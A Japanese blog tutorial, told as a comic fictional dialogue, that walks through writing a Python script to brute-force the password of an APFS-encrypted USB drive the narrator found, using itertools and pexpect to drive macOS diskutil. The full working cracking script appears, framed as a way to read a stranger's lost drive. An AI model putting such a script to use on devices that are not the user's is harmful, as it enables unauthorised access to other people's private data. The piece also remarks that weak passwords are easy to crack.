みなさんこんにちは。@It_is_Rです。
今回はPythonを使って、総当たりでUSBメモリのパスワードを解析する方法を紹介します。
(※このストーリーはフィクションです)
りこ師匠、聞いてください。さっきUSBメモリ拾ったんですよ
へぇ。ゴミ箱にでも捨てておいたら?
そんな、もったいない
で、さっき中を見てみたんですけど、どうやらAPFSでフォーマットされてるみたいなんです
中、見たんだ……
でもパスワードがかかってて、見られなかったんです
……なんか、見られないものって、見たくないですか?
えっ、べつに興味ないし……いや、ちょっと見たい
でしょでしょ! パスワードを解析する方法って、ないですかね
適当に入力してみたら? どうせ9999とか、そんなパスワードよ
9999……っと。ダメです。開けないです
……りこ師匠、とぼけても無駄です。りこ師匠ならUSBのパスワード解析なんて、楽々ですよね?
しょうがないわね……じゃあ、Pythonを使ってパスワード解析してみましょ!
開発環境について
まず、開発環境と、今回使用するUSBメモリについてです。
開発環境:
macOS Catalina
Python 3.9.2
今回の内容ですが、場合によっては解析の途中で、Macが再起動されてしまう場合があります。
私の環境では、Apple M1のBig Surで実験したところ、3桁の途中で止まってしまいました。もしかすると、USBメモリの接続で、Type-Cに変換するアダプタを使ったからかもしれませんが、原因は検証しきれませんでした。
intel Core i5のmacOS Catalinaで行なったところ、6時間かけて4桁の途中までの解析はうまくいきました。それ以上はあまりに時間がかかるので、検証しきれていません。
pipenvの仮想環境のなかで試していきます。Pythonの環境を整える方法は「pipenvの使い方。MacにPython環境を構築する方法」を参考にしてください。
USBメモリは、パスワード機能のついていない、BUFFALOの一般的なUSBメモリを使っています。
また、ここではpipenvとpyenvのインストールが済んでいるものとして進めていきます。
まず、UnlockUsbというフォルダを作成し、そのなかで作業していきます。
ターミナルで以下のコマンドを実行しましょう。
$ mkdir UnlockUsb
$ cd UnlockUsb
続いて、Python3を使えるようにします。
$ pipenv --python 3
仮想環境に入ります。
$ pipenv shell
指定したPythonが使えるかどうかチェックしてみましょう!
$ python -V
Python 3.9.2
これで現在(2021/03/25)の最新の安定版が使えるようになりました。
つぎはPythonのファイルを作っていくわ!
あ、やる気満々ですね……ほんとはとっても見たかったんですね……
てめぇが言い出したんだろ!
ははは、虹の向こうの世界がみえるよー
黙れ。肩の猫と一緒に虹の向こうへ送ってやろうか!
……猫の悪口だけは許さないでござる
変な顔すんな!
はい……
USBメモリの識別子とパス
つづいて、USBメモリの識別子とパスを入力しておきます。
りこ師匠、「パイソン」って、すごくていねいに言ってください!
ていねい……おぱいそん……
ぶぶぶっ
……
なぜ殴られたのか……
くだらないこと言ってないて、さき進めるわよ!
はい……
$ diskutil list
〜省略〜
/dev/disk5 (synthesized):
#: TYPE NAME SIZE IDENTIFIER
0: APFS Container Scheme - +16.1 GB disk5
Physical Store disk4s2
1: APFS Volume BUFFALO USB 1.2 MB disk5s1
ずらっと並んだなかに、それっぽいのある?
あ、このBUFFALO USBっていうの、それっぽいです
ふむふむ。名前がBUFFALO USBで、識別子がdisk5s1ね
じゃあunlock.pyってファイルを作っていくわ
$ touch unlock.py
$ vi unlock.py
unlock.py
import pathlib
# USBメモリまでのパス
usb_path = pathlib.Path( '/Volumes/BUFFALO USB' )
# USBメモリの識別子
usb_identifier = 'disk5s1'
USBのボリュームは、ルートディレクトリのVolumesにあるわ。だからパスは「/Volumes/BUFFALO USB」になるわね
なるほど!
パスワードのかかったUSBメモリをアンロックするコマンド
つづいて、USBメモリをアンロックするコマンドについてです。
$ diskutil apfs unlockVolume disk5s1
Passphrase:
disk5s1ってのはさっき調べた識別子ですね……そりゃ、コマンド実行!
あ、Passphraseをきかれてしまいました
うん。まだパスワードが分からないからどうしようもないわね
てきとうなパスワードを……1234
あ、やっぱ違うか……
でもアンロックのコマンドとしてちゃんと動いてることが分かったから、プログラムに追加しちゃいましょ!
import pathlib
# USBメモリまでのパス
usb_path = pathlib.Path( '/Volumes/BUFFALO USB' )
# USBメモリの識別子
usb_identifier = 'disk5s1'
# USBメモリをアンロックするためのコマンド
unlock_command = 'diskutil apfs unlockVolume ' + usb_identifier
おおっ、だんだんと必要な情報が集まってきましたね
解析に使うパスワードを作る
では、解析に使うパスワートを作成していきましょう。
パスワードに使われる文字は、人によっては、数値だけ、アルファベットだけ、小文字だけ、だったりします。逆にいろんな文字を組み合わせて作られている場合、その解析には時間がかかります。
今回は、使われているのは数字と小文字のアルファベットだけだろう、という前提で作っていきます。
まず、パスワードに使う文字のリストを作りましょう。
unlock.py
import pathlib
# パスワードに使う文字をリストにする
characters = [ '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' ]
# USBメモリまでのパス
usb_path = pathlib.Path( '/Volumes/BUFFALO USB' )
# USBメモリの識別子
usb_identifier = 'disk5s1'
# USBメモリをアンロックするためのコマンド
unlock_command = 'diskutil apfs unlockVolume ' + usb_identifier
なるほど。0〜9までと、a〜zまでの文字ですね
大文字も記号もとりあえず考えない、ということですね
大文字とか記号入れちゃうと、パスワード覚えられないものね
どうせみんな入れてないわ……ふっふっふ
確かに……けどそれって、こうやって解析されやすいんですね
そう思うと、大文字や記号の大切さが分かりますね
記事書いたら、このサイトのパスワード変更しておこう……
記事……サイト? なんの話?
りこ師匠は知らない方がいい事実でござる
うーん。なんか気になるわね
まぁいいわ。次はさっきの文字を組み合わせてパスワードを作っていくわよ
unlock.py
import pathlib
import itertools
# パスワードに使う文字をリストにする
characters = [ '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' ]
# USBメモリまでのパス
usb_path = pathlib.Path( '/Volumes/BUFFALO USB' )
# USBメモリの識別子
usb_identifier = 'disk5s1'
# USBメモリをアンロックするためのコマンド
unlock_command = 'diskutil apfs unlockVolume ' + usb_identifier
# パスワードの作成(作ったパスワードの数だけ繰り返す)
for password in itertools.product( characters, repeat=1 ):
# パスワードの文字を結合
password = ''.join( password )
# 作成したパスワードを表示
print( password )
これで、1桁のパスワードをつくることができたわ
試しにunlock.pyを実行してみて
$ python unlock.py
0
1
2
3
4
5
6
7
8
9
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
0〜9までと、a〜zまでの文字がでてきましたね
そうか、1桁のパスワードだから、これが作成できるパスワードの全てなんですね!
ふっふーん。そういうこと
でも1桁のパスワード設定してる人って、少ないと思うんですよ
そりゃそうよ。じゃあunlock.pyの16行目を見て
for password in itertools.product( characters, repeat=1 ):
ってところですね
このrepeat=1
っていうのが、1桁しか表示できていない理由ね
1回だけ繰り返してるってことですか?
あ、じゃあこれを2にすれば……
unlock.py
import pathlib
import itertools
# パスワードに使う文字をリストにする
characters = [ '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' ]
# USBメモリまでのパス
usb_path = pathlib.Path( '/Volumes/BUFFALO USB' )
# USBメモリの識別子
usb_identifier = 'disk5s1'
# USBメモリをアンロックするためのコマンド
unlock_command = 'diskutil apfs unlockVolume ' + usb_identifier
# パスワードの作成(作ったパスワードの数だけ繰り返す)
for password in itertools.product( characters, repeat=2 ):
# パスワードの文字を結合
password = ''.join( password )
# 作成したパスワードを表示
print( password )
$ python unlock.py
00
01
02
03
04
05
06
07
08
09
0a
0b
0c
0d
0e
0f
0g
0h
0i
0j
0k
0l
0m
0n
0o
0p
0q
0r
0s
0t
0u
0v
0w
0x
0y
0z
10
11
12
13
14
15
16
17
18
19
1a
1b
1c
1d
1e
1f
1g
1h
1i
1j
1k
1l
1m
1n
1o
1p
1q
1r
1s
1t
1u
1v
1w
1x
1y
1z
20
21
22
23
24
25
26
27
28
29
2a
2b
2c
2d
2e
2f
2g
2h
2i
2j
2k
2l
2m
2n
2o
2p
2q
2r
2s
2t
2u
2v
2w
2x
2y
2z
30
31
32
33
34
35
36
37
38
39
3a
3b
3c
3d
3e
3f
3g
3h
3i
3j
3k
3l
3m
3n
3o
3p
3q
3r
3s
3t
3u
3v
3w
3x
3y
3z
40
41
42
43
44
45
46
47
48
49
4a
4b
4c
4d
4e
4f
4g
4h
4i
4j
4k
4l
4m
4n
4o
4p
4q
4r
4s
4t
4u
4v
4w
4x
4y
4z
50
51
52
53
54
55
56
57
58
59
5a
5b
5c
5d
5e
5f
5g
5h
5i
5j
5k
5l
5m
5n
5o
5p
5q
5r
5s
5t
5u
5v
5w
5x
5y
5z
60
61
62
63
64
65
66
67
68
69
6a
6b
6c
6d
6e
6f
6g
6h
6i
6j
6k
6l
6m
6n
6o
6p
6q
6r
6s
6t
6u
6v
6w
6x
6y
6z
70
71
72
73
74
75
76
77
78
79
7a
7b
7c
7d
7e
7f
7g
7h
7i
7j
7k
7l
7m
7n
7o
7p
7q
7r
7s
7t
7u
7v
7w
7x
7y
7z
80
81
82
83
84
85
86
87
88
89
8a
8b
8c
8d
8e
8f
8g
8h
8i
8j
8k
8l
8m
8n
8o
8p
8q
8r
8s
8t
8u
8v
8w
8x
8y
8z
90
91
92
93
94
95
96
97
98
99
9a
9b
9c
9d
9e
9f
9g
9h
9i
9j
9k
9l
9m
9n
9o
9p
9q
9r
9s
9t
9u
9v
9w
9x
9y
9z
a0
a1
a2
a3
a4
a5
a6
a7
a8
a9
aa
ab
ac
ad
ae
af
ag
ah
ai
aj
ak
al
am
an
ao
ap
aq
ar
as
at
au
av
aw
ax
ay
az
b0
b1
b2
b3
b4
b5
b6
b7
b8
b9
ba
bb
bc
bd
be
bf
bg
bh
bi
bj
bk
bl
bm
bn
bo
bp
bq
br
bs
bt
bu
bv
bw
bx
by
bz
c0
c1
c2
c3
c4
c5
c6
c7
c8
c9
ca
cb
cc
cd
ce
cf
cg
ch
ci
cj
ck
cl
cm
cn
co
cp
cq
cr
cs
ct
cu
cv
cw
cx
cy
cz
d0
d1
d2
d3
d4
d5
d6
d7
d8
d9
da
db
dc
dd
de
df
dg
dh
di
dj
dk
dl
dm
dn
do
dp
dq
dr
ds
dt
du
dv
dw
dx
dy
dz
e0
e1
e2
e3
e4
e5
e6
e7
e8
e9
ea
eb
ec
ed
ee
ef
eg
eh
ei
ej
ek
el
em
en
eo
ep
eq
er
es
et
eu
ev
ew
ex
ey
ez
f0
f1
f2
f3
f4
f5
f6
f7
f8
f9
fa
fb
fc
fd
fe
ff
fg
fh
fi
fj
fk
fl
fm
fn
fo
fp
fq
fr
fs
ft
fu
fv
fw
fx
fy
fz
g0
g1
g2
g3
g4
g5
g6
g7
g8
g9
ga
gb
gc
gd
ge
gf
gg
gh
gi
gj
gk
gl
gm
gn
go
gp
gq
gr
gs
gt
gu
gv
gw
gx
gy
gz
h0
h1
h2
h3
h4
h5
h6
h7
h8
h9
ha
hb
hc
hd
he
hf
hg
hh
hi
hj
hk
hl
hm
hn
ho
hp
hq
hr
hs
ht
hu
hv
hw
hx
hy
hz
i0
i1
i2
i3
i4
i5
i6
i7
i8
i9
ia
ib
ic
id
ie
if
ig
ih
ii
ij
ik
il
im
in
io
ip
iq
ir
is
it
iu
iv
iw
ix
iy
iz
j0
j1
j2
j3
j4
j5
j6
j7
j8
j9
ja
jb
jc
jd
je
jf
jg
jh
ji
jj
jk
jl
jm
jn
jo
jp
jq
jr
js
jt
ju
jv
jw
jx
jy
jz
k0
k1
k2
k3
k4
k5
k6
k7
k8
k9
ka
kb
kc
kd
ke
kf
kg
kh
ki
kj
kk
kl
km
kn
ko
kp
kq
kr
ks
kt
ku
kv
kw
kx
ky
kz
l0
l1
l2
l3
l4
l5
l6
l7
l8
l9
la
lb
lc
ld
le
lf
lg
lh
li
lj
lk
ll
lm
ln
lo
lp
lq
lr
ls
lt
lu
lv
lw
lx
ly
lz
m0
m1
m2
m3
m4
m5
m6
m7
m8
m9
ma
mb
mc
md
me
mf
mg
mh
mi
mj
mk
ml
mm
mn
mo
mp
mq
mr
ms
mt
mu
mv
mw
mx
my
mz
n0
n1
n2
n3
n4
n5
n6
n7
n8
n9
na
nb
nc
nd
ne
nf
ng
nh
ni
nj
nk
nl
nm
nn
no
np
nq
nr
ns
nt
nu
nv
nw
nx
ny
nz
o0
o1
o2
o3
o4
o5
o6
o7
o8
o9
oa
ob
oc
od
oe
of
og
oh
oi
oj
ok
ol
om
on
oo
op
oq
or
os
ot
ou
ov
ow
ox
oy
oz
p0
p1
p2
p3
p4
p5
p6
p7
p8
p9
pa
pb
pc
pd
pe
pf
pg
ph
pi
pj
pk
pl
pm
pn
po
pp
pq
pr
ps
pt
pu
pv
pw
px
py
pz
q0
q1
q2
q3
q4
q5
q6
q7
q8
q9
qa
qb
qc
qd
qe
qf
qg
qh
qi
qj
qk
ql
qm
qn
qo
qp
qq
qr
qs
qt
qu
qv
qw
qx
qy
qz
r0
r1
r2
r3
r4
r5
r6
r7
r8
r9
ra
rb
rc
rd
re
rf
rg
rh
ri
rj
rk
rl
rm
rn
ro
rp
rq
rr
rs
rt
ru
rv
rw
rx
ry
rz
s0
s1
s2
s3
s4
s5
s6
s7
s8
s9
sa
sb
sc
sd
se
sf
sg
sh
si
sj
sk
sl
sm
sn
so
sp
sq
sr
ss
st
su
sv
sw
sx
sy
sz
t0
t1
t2
t3
t4
t5
t6
t7
t8
t9
ta
tb
tc
td
te
tf
tg
th
ti
tj
tk
tl
tm
tn
to
tp
tq
tr
ts
tt
tu
tv
tw
tx
ty
tz
u0
u1
u2
u3
u4
u5
u6
u7
u8
u9
ua
ub
uc
ud
ue
uf
ug
uh
ui
uj
uk
ul
um
un
uo
up
uq
ur
us
ut
uu
uv
uw
ux
uy
uz
v0
v1
v2
v3
v4
v5
v6
v7
v8
v9
va
vb
vc
vd
ve
vf
vg
vh
vi
vj
vk
vl
vm
vn
vo
vp
vq
vr
vs
vt
vu
vv
vw
vx
vy
vz
w0
w1
w2
w3
w4
w5
w6
w7
w8
w9
wa
wb
wc
wd
we
wf
wg
wh
wi
wj
wk
wl
wm
wn
wo
wp
wq
wr
ws
wt
wu
wv
ww
wx
wy
wz
x0
x1
x2
x3
x4
x5
x6
x7
x8
x9
xa
xb
xc
xd
xe
xf
xg
xh
xi
xj
xk
xl
xm
xn
xo
xp
xq
xr
xs
xt
xu
xv
xw
xx
xy
xz
y0
y1
y2
y3
y4
y5
y6
y7
y8
y9
ya
yb
yc
yd
ye
yf
yg
yh
yi
yj
yk
yl
ym
yn
yo
yp
yq
yr
ys
yt
yu
yv
yw
yx
yy
yz
z0
z1
z2
z3
z4
z5
z6
z7
z8
z9
za
zb
zc
zd
ze
zf
zg
zh
zi
zj
zk
zl
zm
zn
zo
zp
zq
zr
zs
zt
zu
zv
zw
zx
zy
zz
すごく大量に表示されました
2桁ではかなり数が違うんですね……
あれ、まてよ。もしかしたら1桁のパスワードの人もいるかもしれないから、2桁にすればいいってもんじゃないですよね
そうなの。もちろん、3桁、4桁にも対応しなきゃ
だから、もうひとつループを増やさなくちゃいけないの
unlock.py
import pathlib
import itertools
# パスワードに使う文字をリストにする
characters = [ '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' ]
# USBメモリまでのパス
usb_path = pathlib.Path( '/Volumes/BUFFALO USB' )
# USBメモリの識別子
usb_identifier = 'disk5s1'
# USBメモリをアンロックするためのコマンド
unlock_command = 'diskutil apfs unlockVolume ' + usb_identifier
# try-except KeyboardInterruptで、強制終了(ctrl + c)したときの処理を書ける
try:
# 繰り返した回数
count = 0
while True:
# 繰り返した回数に+1
count += 1
# パスワードの作成(作ったパスワードの数だけ繰り返す)
for password in itertools.product( characters, repeat=count ):
# パスワードの文字を結合
password = ''.join( password )
# 作成したパスワードを表示
print( password )
# 強制終了したとき
except KeyboardInterrupt:
# 「中断しました」と表示
print( '中断しました' )
$ python unlock.py
0
1
2
3
4
5
6
7
8
9
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
00
01
02
03
04
05
06
07
08
09
0a
0b
0c
0d
0e
0f
0g
......
無限ループだから、ずっと続いてしまうわ
終了したいときはctrl + cね!
Pexpectのインストールと使い方
つづいてPexpectをインストールします。
Pexpectを使うことで、対話形式のコマンドを自動化することができます。
Pexpectは、パスワードの入力とか、〜しますかのYes、Noとか、そういった対話形式のコマンドを自動化できるの
なるほど。それでパスワードを入力するんですね!
どうやって使うんですか?
$ pipenv install pexpect
Installing pexpect...
Adding pexpect to Pipfile's [packages]...
Installation Succeeded
Pipfile.lock not found, creating...
Locking [dev-packages] dependencies...
Locking [packages] dependencies...
Building requirements...
Resolving dependencies...
Success!
インストールが終わったら、unlock.pyをこんなふうになおしてね
unlock.py
import pathlib
import itertools
import pexpect
# パスワードに使う文字をリストにする
characters = [ '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' ]
# USBメモリまでのパス
usb_path = pathlib.Path( '/Volumes/BUFFALO USB' )
# USBメモリの識別子
usb_identifier = 'disk5s1'
# USBメモリをアンロックするためのコマンド
unlock_command = 'diskutil apfs unlockVolume ' + usb_identifier
# try-except KeyboardInterruptで、強制終了(ctrl + c)したときの処理を書ける
try:
# 繰り返した回数
count = 0
while True:
# 繰り返した回数に+1
count += 1
# パスワードの作成(作ったパスワードの数だけ繰り返す)
for password in itertools.product( characters, repeat=count ):
# パスワードの文字を結合
password = ''.join( password )
# 作成したパスワードを表示(削除)
# print( password )(削除)
# 「パスワードを試しています」のあとに、試しているパスワードを表示
print( f'パスワードを試しています {password}' )
# アンロックのためのコマンドのインスタンスを作成
child = pexpect.spawn( unlock_command )
# Passphraseが表示されるまで待つ
child.expect( 'Passphrase:' )
# パスワードを送る
child.sendline( password )
# 終了まで待つ
child.expect( pexpect.EOF )
# もしUSBメモリがマウントされているとき
if usb_path.is_mount():
# 「成功しました」と表示
print( '成功しました' )
# ループを抜ける
break
# もしUSBメモリがマウントされていないとき
else:
# 「失敗しました。再試行します」と表示
print( '失敗しました。再試行します' )
# breakされたとき、多重ループからも抜ける
else:
continue
break
# 強制終了したとき
except KeyboardInterrupt:
# 「中断しました」と表示
print( '中断しました' )
なおしました
じゃあ、これで完成よ!
もう完成! なんということだ!
じゃあ、さっそく試しましょう!
実際にパスワードを解析してみよう!
では、実際にパスワードを解析してみましょう!
じゃあ、今回作ったファイルを実行して、パスワード解析してみるわ!
$ python unlock.py
パスワードを試しています 0
失敗しました。再試行します
パスワードを試しています 1
失敗しました。再試行します
パスワードを試しています 2
失敗しました。再試行します
おおっ、0から順番にパスワードを試してる……
しばらく時間はかかるけど、放っておけばいつかはパスワードが分かるわ
さすが、りこ師匠です! 腹黒い!
ふっふっふ。でしょでしょ! 私って腹黒……
……それ、褒めてんのか!
ぎえぇぇぇっ! お花畑が見えるっ!
まとめ
今回は、Pythonを使って、USBメモリのパスワードを解析する方法を紹介しました。
りこ師匠……あれから6時間以上たちましたけど、なかなか分かりませんね……
そうね……気長に待ちましょ
あ、気の短いりこ師匠が、気長とか言ってる……
しまった、思ったことがつい口に出てしまった!
てめぇ、また蹴られたいか!
痛いから断じてNoでござる
でも師匠……蹴れば蹴るほど、同時にりこ師匠の心も痛むはずでござ……
……痛まないでござるな
あ、そうこうしてるうちに、解析が終わったみたいよ
ほんとですね。どれどれ……
$ python unlock.py
〜省略〜
パスワードを試しています 0a2x
成功しました
へぇ、時間がかかったわりに4桁だったんですね……
そうね。やっぱり解析にはすごく時間がかかるわ
今回の場合、4桁に突入するのに5時間かかったし、5桁になると、その10倍から100倍かかるわけね……
そうなると、もうやってられないですね……
それより早く、なかを見てみましょ!
うわ、師匠の目が輝いてる……とにかく開きますね
こ、これは……
なんかよく分からないデータね
いえ、これはすごいデータです。この世に2つとない幻の……
……なになに、そんなにすごいの?
叩くたびにビスケットが増える、ポケットの作り方です
なんだそれ
どれどれ。なるほど……ポケットのなかで、量子からビスケットを形成する方法だ……
そうか、ビスケットを量子レベルに分解して、複製、さらにそこからビスケットを形成……
時空の歪みを利用して複製するのか……
……